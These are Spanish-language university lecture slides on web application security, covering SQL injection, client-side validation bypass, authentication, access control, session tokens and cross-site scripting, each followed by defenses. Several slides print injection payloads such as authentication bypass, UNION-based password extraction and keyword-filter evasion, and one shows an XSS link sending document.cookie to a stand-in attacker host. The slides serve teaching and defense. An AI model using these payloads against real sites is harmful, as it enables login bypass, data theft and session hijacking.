Edited
with
em
acs
+LA
T EX
+pro
sper
Seguridad en Computación Web
Computación Web (Curso 2015/2016)
Jesus Arias Fisteus // [email protected]
Seguridad en Computacion Web– p. 1
Edited
with
em
acs
+LA
T EX
+pro
sper
Seguridad en aplicaciones Web
«This site is absolutely secure. It has beendesigned to use 128-bit Secure Socket Layer(SSL) technology to prevent unauthorizedusers from viewing any of your information.You may use this site with peace of mind thatyour data is safe with us.»
Seguridad en Computacion Web– p. 2
Edited
with
em
acs
+LA
T EX
+pro
sper
Seguridad en aplicaciones Web
A laptop battery contains roughly the stored energy of a hand
grenade, and if shorted it ... hey! You can’t arrest me if I prove
your rules inconsistent!
http://xkcd.com/651/
Seguridad en Computacion Web– p. 3
Edited
with
em
acs
+LA
T EX
+pro
sper
Seguridad en aplicaciones Web
http://geekandpoke.typepad.com/geekandpoke/2011/
05/everybody-has-to-set-priorities.html
Seguridad en Computacion Web– p. 4
Edited
with
em
acs
+LA
T EX
+pro
sper
Errores más peligrosos en programas
2011 CWE/SANS Top 25 Most Dangerous Software Errors
Seguridad en Computacion Web– p. 5
Edited
with
em
acs
+LA
T EX
+pro
sper
¡Los usuarios pueden enviar
datos arbitrarios a la
aplicación!
Seguridad en Computacion Web– p. 6
Edited
with
em
acs
+LA
T EX
+pro
sper
Envío de datos arbitrarios
Los usuarios pueden:
Alterar cualquier dato transferido al servidor:parámetros de la petición, cookies, cabecerasHTTP.
Enviar peticiones en secuencias arbitrarias,enviar parámetros en peticiones en que elservidor no lo espera, no enviarlos, enviarlosmás de una vez.
Usar herramientas distintas a un navegadorWeb para atacar más fácilmente la aplicación.
Seguridad en Computacion Web– p. 7
Edited
with
em
acs
+LA
T EX
+pro
sper
Envío de datos manipulados
En la mayoría de los ataques se envían datosmanipulados para causar un efecto no deseado enla aplicación. Ejemplos:
Cambio del precio de un producto en un campooculto de un formulario.
Modificar el token de sesión.
Eliminar algunos parámetros que el servidorespera.
Alterar datos que van a ser procesados por unabase de datos.
Seguridad en Computacion Web– p. 8
Edited
with
em
acs
+LA
T EX
+pro
sper
Ataques al almacenamiento de datos
Seguridad en Computacion Web– p. 9
Edited
with
em
acs
+LA
T EX
+pro
sper
Ataques al almacenamiento de datos
Principales ataques:
Bases de datos SQL (inyección de SQL).
Bases de datos XML.
Directorios LDAP.
Seguridad en Computacion Web– p. 10
Edited
with
em
acs
+LA
T EX
+pro
sper
Inyección de SQL
http://xkcd.com/327/
Seguridad en Computacion Web– p. 11
Edited
with
em
acs
+LA
T EX
+pro
sper
Esquivar la autenticación
La comilla simple es un carácter especial en SQL.
La secuencia “--” (comentario) invalida el restodel comando.
nombre = "juan' -- '"
String consulta = "SELECT nombre FROM Usuarios WHERE nombre='" + nombre
+ "' AND contrasena='" + password + "'";
// Consulta realizada:
SELECT nombre FROM Usuarios WHERE nombre='juan' -- '' AND contrasena=''
Seguridad en Computacion Web– p. 12
Edited
with
em
acs
+LA
T EX
+pro
sper
Esquivar la autenticación
Si no se conoce el nombre del usuario, se puedeobtener el primero.
En muchas aplicaciones el primer usuario es eladministrador, que cuenta con privilegiosespeciales.
nombre = "' OR 1=1 -- '"
String consulta = "SELECT nombre FROM Usuarios WHERE nombre='" + nombre
+ "' AND contrasena='" + password + "'";
// Consulta realizada:
SELECT nombre FROM Usuarios WHERE nombre='' OR 1=1 -- '' AND contrasena=''
Seguridad en Computacion Web– p. 13
Edited
with
em
acs
+LA
T EX
+pro
sper
Tipos de consultas
Cualquier tipo de consulta es vulnerable (SELECT,INSERT, UPDATE, etc.)
Se puede inyectar tanto en datos textuales comoen datos numéricos.
Seguridad en Computacion Web– p. 14
Edited
with
em
acs
+LA
T EX
+pro
sper
Ataques a consultas INSERT
En un campo se inyectan el resto de los valores:
contrasena = "passwd', 10000000) -- '"
String consulta = "INSERT INTO Usarios (nombre, contrasena, saldo) VALUES ('"
+ nombre + "', '" + contrasena + "', " + saldo + ")";
// Consulta realizada:
INSERT INTO Usarios (nombre, contrasena, saldo)
VALUES ('nombre', 'passwd', 10000000) -- '', 0)
Seguridad en Computacion Web– p. 15
Edited
with
em
acs
+LA
T EX
+pro
sper
Ataques con UNION
El comando UNION permite combinar resultadosde dos consultas.
genero = "1 UNION SELECT usuario, contrasena, NULL FROM Usuarios -- "
String consulta = "SELECT titulo, autor, precio FROM Libros
WHERE genero=" + genero;
// Consulta realizada:
SELECT titulo, autor, precio FROM Libros
WHERE genero=1 UNION SELECT usuario, contrasena, NULL FROM Usuarios --
Seguridad en Computacion Web– p. 16
Edited
with
em
acs
+LA
T EX
+pro
sper
Nombres de tablas y columnas
Para realizar algunos tipos de ataques esnecesario conocer nombres de tablas y columnas.
A veces los nombres son predecibles.
En otras ocasiones, se pueden descubrir conconsultas inyectadas con UNION:
UNION SELECT TABLE_SCHEMA, NULL, NULL, NULL
FROM INFORMATION_SCHEMA.COLUMNS
UNION SELECT TABLE_NAME, NULL, NULL, NULL
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_SCHEMA='DemoSeguridad'
UNION SELECT COLUMN_NAME, NULL, NULL, NULL
FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_SCHEMA='DemoSeguridad' AND TABLE_NAME='Usuarios'
Seguridad en Computacion Web– p. 17
Edited
with
em
acs
+LA
T EX
+pro
sper
Inyección de segundo orden
Aun filtrando correctamente comillas (sustituciónde comilla simple por doble), futuras consultas sonvulnerables si se insertan en la base de datosvalores con comilla simple.
Las comillas no son necesarias en camposnuméricos.
El comentario se reemplaza por “or 'a'='a”.
El bloqueo de palabras clave se puede esquivara veces:SeLeCt
SELSELECTECT
Si se filtran blancos, se puede insertarcomentarios “/**/”.
Seguridad en Computacion Web– p. 18
Edited
with
em
acs
+LA
T EX
+pro
sper
Defensa frente a estos ataques
Usar PreparedStatement o equivalente:
En todas las consultas, no sólo en las quetoman datos directamente del usuario.
Usar el nivel de privilegios más bajo posible.
Deshabilitar funciones innecesarias de las basesde datos.
Mantener el gestor de bases de datos siempreactualizado.
Seguridad en Computacion Web– p. 19
Edited
with
em
acs
+LA
T EX
+pro
sper
Otros ataques de inyección de código
Otros ataques similares por inyección de código:
Inyección en comandos del sistema operativo.
Inyección en lenguajes de scripting.
Inyección en JSON.
Inyección en XML.
Inyección en LDAP.
Inyección en correo electrónico.
Inyección en cabeceras de HTTP.
Seguridad en Computacion Web– p. 20
Edited
with
em
acs
+LA
T EX
+pro
sper
Esquivar controles en el cliente
Seguridad en Computacion Web– p. 21
Edited
with
em
acs
+LA
T EX
+pro
sper
Datos recibidos del cliente
Datos enviados por el servidor a través del cliente.
Datos recogidos por el cliente.
Seguridad en Computacion Web– p. 22
Edited
with
em
acs
+LA
T EX
+pro
sper
Datos enviados a través del cliente
Enviados típicamente mediante:
Campos ocultos en formularios.
Cookies HTTP.
Parámetros en URLs.
Cabeceras HTTP.
Son susceptibles de ser modificados por elusuario.
Incluso en ocasiones a pesar de ser opacos.
Seguridad en Computacion Web– p. 23
Edited
with
em
acs
+LA
T EX
+pro
sper
Ejemplo
<form method=“post” action=“Shop.aspx?prod=1”>
Product: iPhone 5 <br/>
Price: 449 <br/>
Quantity: <input type=“text” name=“quantity”> (Maximum quantity is 50)
<br/>
<input type=“hidden” name=“price” value=“449”>
<input type=“submit” value=“Buy”>
</form>
Seguridad en Computacion Web– p. 24
Edited
with
em
acs
+LA
T EX
+pro
sper
Ejemplo
HTTP/1.1 200 OK
Set-Cookie: DiscountAgreed=25
Content-Length: 1530
(...)
Seguridad en Computacion Web– p. 25
Edited
with
em
acs
+LA
T EX
+pro
sper
Datos recogidos por el cliente
Recogidos típicamente mediante:
Formularios HTML.
Javascript, Applets Java, Silverlight, Flash, etc.
Son susceptibles de ser establecidosarbitrariamente por el usuario saltando lavalidación del lado del cliente (restricciones en elformulario, javascript, etc.)
Seguridad en Computacion Web– p. 26
Edited
with
em
acs
+LA
T EX
+pro
sper
Protección frente a estos ataques
Para proteger la aplicación, es recomendable:
No enviar datos sensibles a través del cliente:Si no queda más remedio, cifrarlos ofirmarlos (cuidado con ataques por repeticióny ataques con texto claro).
Validar en el servidor todos los datosprocedentes del cliente.
Sistema de logs, monitorización y alertas.
Seguridad en Computacion Web– p. 27
Edited
with
em
acs
+LA
T EX
+pro
sper
Ataques a los mecanismos de autenticación
Seguridad en Computacion Web– p. 28
Edited
with
em
acs
+LA
T EX
+pro
sper
Ataques a la autenticación
Errores en la autenticación:
Errores de diseño.
Errores de implementación.
Seguridad en Computacion Web– p. 29
Edited
with
em
acs
+LA
T EX
+pro
sper
Ataques a la autenticación
http://abstrusegoose.com/296
Seguridad en Computacion Web– p. 30
Edited
with
em
acs
+LA
T EX
+pro
sper
Errores de diseño (I)
Contraseñas débiles.
Posibilidad de ataques de fuerza bruta.
Mensajes de error detallados.
Transmisión vulnerable de credenciales.
Funcionalidad de cambio de contraseña.
Funcionalidad de “contraseña olvidada”.
Funcionalidad “recuérdame”.
Funcionalidad de impersonación de usuarios.
Seguridad en Computacion Web– p. 31
Edited
with
em
acs
+LA
T EX
+pro
sper
Errores de diseño (II)
Validación de credenciales incompleta.
Nombres de usuario no únicos.
Nombres de usuario predecibles.
Contraseñas iniciales predecibles.
Distribución insegura de credenciales.
Seguridad en Computacion Web– p. 32
Edited
with
em
acs
+LA
T EX
+pro
sper
Errores de implementación
Errores en la lógica de la aplicación.
Defectos en mecanismos de autenticaciónmulti-paso.
Almacenamiento inseguro de credenciales.
Seguridad en Computacion Web– p. 33
Edited
with
em
acs
+LA
T EX
+pro
sper
Ejemplo
public Response checkLogin(Session session) {
try {
String uname = session.getParameter(“username”);
String passwd = session.getParameter(“password”);
User user = db.getUser(uname, passwd);
if (user == null) {
// invalid credentials
session.setMessage(“Login failed. ”);
return doLogin(session);
}
}
catch (Exception e) {}
// valid user
session.setMessage(“Login successful. ”);
return doMainMenu(session);
}
Seguridad en Computacion Web– p. 34
Edited
with
em
acs
+LA
T EX
+pro
sper
Protección de los mecanismos de au-
tenticación
Usar credenciales robustas.
Manejar credenciales confidencialmente.
Validar credenciales apropiadamente.
Prevenir fuga de información.
Prevenir ataques de fuerza bruta.
Evitar uso fraudulento de la funcionalidad decambio de contraseña.
Evitar uso fraudulento de la funcionalidad derecordar contraseña.
Sistema de logs, monitorización y alertas.
Seguridad en Computacion Web– p. 35
Edited
with
em
acs
+LA
T EX
+pro
sper
Ataques al control de acceso
Seguridad en Computacion Web– p. 36
Edited
with
em
acs
+LA
T EX
+pro
sper
Ataques al control de acceso
El usuario accede a recursos o acciones para losque no está autorizado:
Escalada vertical de privilegios.
Escalada horizontal de privilegios.
Seguridad en Computacion Web– p. 37
Edited
with
em
acs
+LA
T EX
+pro
sper
Vulnerabilidades en el control de acce-
so
Funcionalidad sin proteger en absoluto: porejemplo, suponiendo URLs desconocidas.
Funciones basadas en identificador de recursosupuestamente desconocido.
Funciones multi-etapa.
Acceso sin control a ficheros estáticos.
Control de acceso inseguro: basado en datosenviados por el cliente.
Ejemplo:http://www.test.com/?admin=true
Seguridad en Computacion Web– p. 38
Edited
with
em
acs
+LA
T EX
+pro
sper
Protección del control de acceso (I)
No basarse en el desconocimiento por el usuariode URLs o identificadores.
No pasar datos relativos al control de acceso através del usuario.
No asumir una secuencia concreta en laspeticiones.
Seguridad en Computacion Web– p. 39
Edited
with
em
acs
+LA
T EX
+pro
sper
Protección del control de acceso (II)
Buenas prácticas (I):
Documentar y evaluar el sistema de control deacceso.
Basar las decisiones en la sesión del usuario.
Usar un componente central para tomar lasdecisiones sobre el acceso a recursos.
Restringir funcionalidad delicada por rango deIPs.
Controlar el acceso a ficheros estáticos.
Validar identificadores de recurso siempre quevengan del cliente.
Seguridad en Computacion Web– p. 40
Edited
with
em
acs
+LA
T EX
+pro
sper
Protección del control de acceso (III)
Buenas prácticas (II):
Nueva autenticación en funcionalidad sensible.
Sistema de logs de acceso.
Seguridad en Computacion Web– p. 41
Edited
with
em
acs
+LA
T EX
+pro
sper
Ataques a la gestión de sesiones
Seguridad en Computacion Web– p. 42
Edited
with
em
acs
+LA
T EX
+pro
sper
Ataques a la gestión de sesiones
La autenticación de usuarios se complementa conmecanismos de gestión de sesiones:
Token de sesión: identificador que envía elcliente en sus peticiones, con frecuencia enuna cookie, para que el servidor identifique aqué sesión pertenecen.
Dos grupos de vulnerabilidades principalmente:
Generación de tokens de sesión débiles.
Debilidades en el manejo de tokens de sesióndurante su ciclo de vida.
Seguridad en Computacion Web– p. 43
Edited
with
em
acs
+LA
T EX
+pro
sper
Generación de tokens débiles
Tokens con significado deducible:
Nombre de usuario, id de usuario en la base dedatos, fecha, número secuencial o secuenciadeducible, dirección IP, dirección de correoelectrónico, etc.
757365723d6461663b6170703d61646d
696e3b646174653d30312f31322f3131
user=daf;app=admin;date=10/09/11
Seguridad en Computacion Web– p. 44
Edited
with
em
acs
+LA
T EX
+pro
sper
Generación de tokens débiles
Tokens predecibles:
Incluyen información temporal, secuenciasfácilmente deducibles, secuenciaspseudoaleatorias.
Seguridad en Computacion Web– p. 45
Edited
with
em
acs
+LA
T EX
+pro
sper
Debilidades en el manejo de tokens de
sesión (I)
Interceptación en la red del token:
Uso de HTTP en las comunicaciones.
Problemas en el uso de HTTPS:Uso sólo en el procedimiento deautenticación.Uso de token previo obtenido por HTTP.Peticiones por HTTP después de haberentrado en HTTPS: por ejemplo, ficherosestáticos por HTTP, botón atrás, etc.Inducción por el atacante a realizar unapetición HTTP (por correo electrónico, desdeotros sitios Web, etc.)
Seguridad en Computacion Web– p. 46
Edited
with
em
acs
+LA
T EX
+pro
sper
Debilidades en el manejo de tokens de
sesión (II)
Exposición del token en logs o aplicaciones degestión.
Mapeo vulnerable de tokens a sesiones.
Terminación de sesión vulnerable: no hay funcióncierre de sesión o no se invalida el token en elservidor.
Secuestro de tokens o fijación de tokens mediantecross-site scripting, peticiones cross-site, etc.
Dominio de las cookies demasiado amplio.
Seguridad en Computacion Web– p. 47
Edited
with
em
acs
+LA
T EX
+pro
sper
Protección del mecanismo de sesiones
(I)
Generación de tokens robustos:
Gran número de posibles valores.
No incluir más información que un identificador.
Buen generador de números pseudoaleatorios.
Introducir otros datos como fuente dealeatoriedad: IP y puerto cliente, cabeceraUser-Agent, fecha y hora con muchaprecisión, clave adicional sólo conocida por elservidor y refrescada en cada arranque.
Seguridad en Computacion Web– p. 48
Edited
with
em
acs
+LA
T EX
+pro
sper
Protección del mecanismo de sesiones
(II)
Protección de los tokens (I):
Trasmisión del token sólo por HTTPS (cookiessólo HTTPS).
Nunca transmitir tokens en la URL.
Cierre de sesión que invalide el token en elservidor.
Expiración de sesiones por inactividad.
Evitar sesiones simultáneas del mismo usuario.
Proteger aplicaciones de gestión que permitanver los tokens.
Seguridad en Computacion Web– p. 49
Edited
with
em
acs
+LA
T EX
+pro
sper
Protección del mecanismo de sesiones
(III)
Protección de los tokens (II):
Restringir el dominio y ruta de las cookies.
Evitar vulnerabilidades cross-site scripting.
No aceptar tokens arbitrarios puestos por elusuario.
Iniciar una nueva sesión siempre tras laautenticación.
Tokens distintos para cada página.
Sistema de logs, monitorización y alertas.
Cierre de sesión ante cualquier tipo de error en laentrada del usuario.
Seguridad en Computacion Web– p. 50
Edited
with
em
acs
+LA
T EX
+pro
sper
Ataques a usuarios
Seguridad en Computacion Web– p. 51
Edited
with
em
acs
+LA
T EX
+pro
sper
Ataques a usuarios
Existe un conjunto de técnicas cuyo objetivo esatacar a otros usuarios de una aplicación Web:
Cross-site scripting.
Inducción de acciones del usuario:On Site Request Forgery.Cross-Site Request Forgery.UI Redress
Captura de datos desde otros dominios.
Fijación de sesiones.
Redirección abierta.
Inyección de SQL en el cliente.
Ataques al navegador.
Seguridad en Computacion Web– p. 52
Edited
with
em
acs
+LA
T EX
+pro
sper
Cross-site scripting
Tres tipos principales de ataque:
Reflejado.
Almacenado.
Basado en DOM.
Seguridad en Computacion Web– p. 53
Edited
with
em
acs
+LA
T EX
+pro
sper
Cross-site scripting reflejado
Se produce cuando una aplicación muestradirectamente datos enviados como parámetros dela petición por el usuario.
Por ejemplo, páginas de error con mensajepasado como parámetro:http://example.com/Error?message=Sorry%2c+an+error+occurred
El cliente puede inyectar código Javascript que seejecutará en el navegador.http://example.com/Error?message=<script>var+i=new+Image;
+i.src=“http://mdattacker.net/”%2bdocument.cookie;</script>
Los enlaces se pueden disimular con codificaciónURL.
Seguridad en Computacion Web– p. 54
Edited
with
em
acs
+LA
T EX
+pro
sper
Cross-site scripting reflejado
Seguridad en Computacion Web– p. 55
Edited
with
em
acs
+LA
T EX
+pro
sper
Cross-site scripting reflejado
Envío del enlace malicioso al usuario:
Por correo electrónico.
En mensajería instantánea.
Desde un sitio Web de terceros o del atacante.
Mediante redes de publicidad.
Mediante acciones enviar a un amigo oinformar al administrador en el sitio Webatacado.
Seguridad en Computacion Web– p. 56
Edited
with
em
acs
+LA
T EX
+pro
sper
Cross-site scripting almacenado
El atacante introduce texto en la base de datos delsitio Web que posteriormente se muestra a otrosusuarios.
El atacante puede inyectar código Javascript endicho texto, que se ejecutará en el navegador deotros usuarios del sistema, incluso deadministradores.
Más peligroso que el reflejado, porque el atacadoestá autenticado y no es necesario inducirlo aactivar ningún enlace.
Seguridad en Computacion Web– p. 57
Edited
with
em
acs
+LA
T EX
+pro
sper
Cross-site scripting almacenado
Seguridad en Computacion Web– p. 58
Edited
with
em
acs
+LA
T EX
+pro
sper
Cross-site scripting basado en DOM
El servidor no transmite los datos del usuario devuelta, pero en la página hay código Javascriptque los toma de la URL pedida y los muestra condocument.write().
Ataque similar en parte a cross-site scriptingreflejado.
Seguridad en Computacion Web– p. 59
Edited
with
em
acs
+LA
T EX
+pro
sper
Cross-site scripting
Posibles acciones de ataque:
Pintadas virtuales (defacement).
Inyección de troyanos y phishing.
Inducción de acciones por el usuario.
Aprovechar privilegios: captura de texto de lafunción autocompletar, aplicaciones conrestricciones de seguridad reducidas, usofraudulento de controles ActiveX.
Escalado del ataque en el lado del cliente:captura de teclado, historial de navegación,escaneo de puertos en la red local del usuario,etc.
Seguridad en Computacion Web– p. 60
Edited
with
em
acs
+LA
T EX
+pro
sper
Prevención de cross-site scripting
Validar la entrada del usuario:
Restricciones de longitud, conjunto decaracteres, expresiones regulares.
Validar la salida:
Reemplazo de caracteres reservados de HTMLpor referencias a entidades.
Eliminar puntos peligrosos de inserción (códigoJavascript, cabeceras de HTTP, atributos deelementos HTML).
Donde el usuario pueda editar HTML, limitar lasmarcas que pueda utilizar o utilizar lenguajesde marcas alternativos.
Seguridad en Computacion Web– p. 61
Edited
with
em
acs
+LA
T EX
+pro
sper
Referencias
Dafydd Stuttard, Marcus Pinto. The WebApplication Hacker’s Handbook. 2nd ed. JohnWiley & Sons
Acceso en Safari
Capítulos 1, 5, 6, 7, 8, 9 y 12.
Seguridad en Computacion Web– p. 62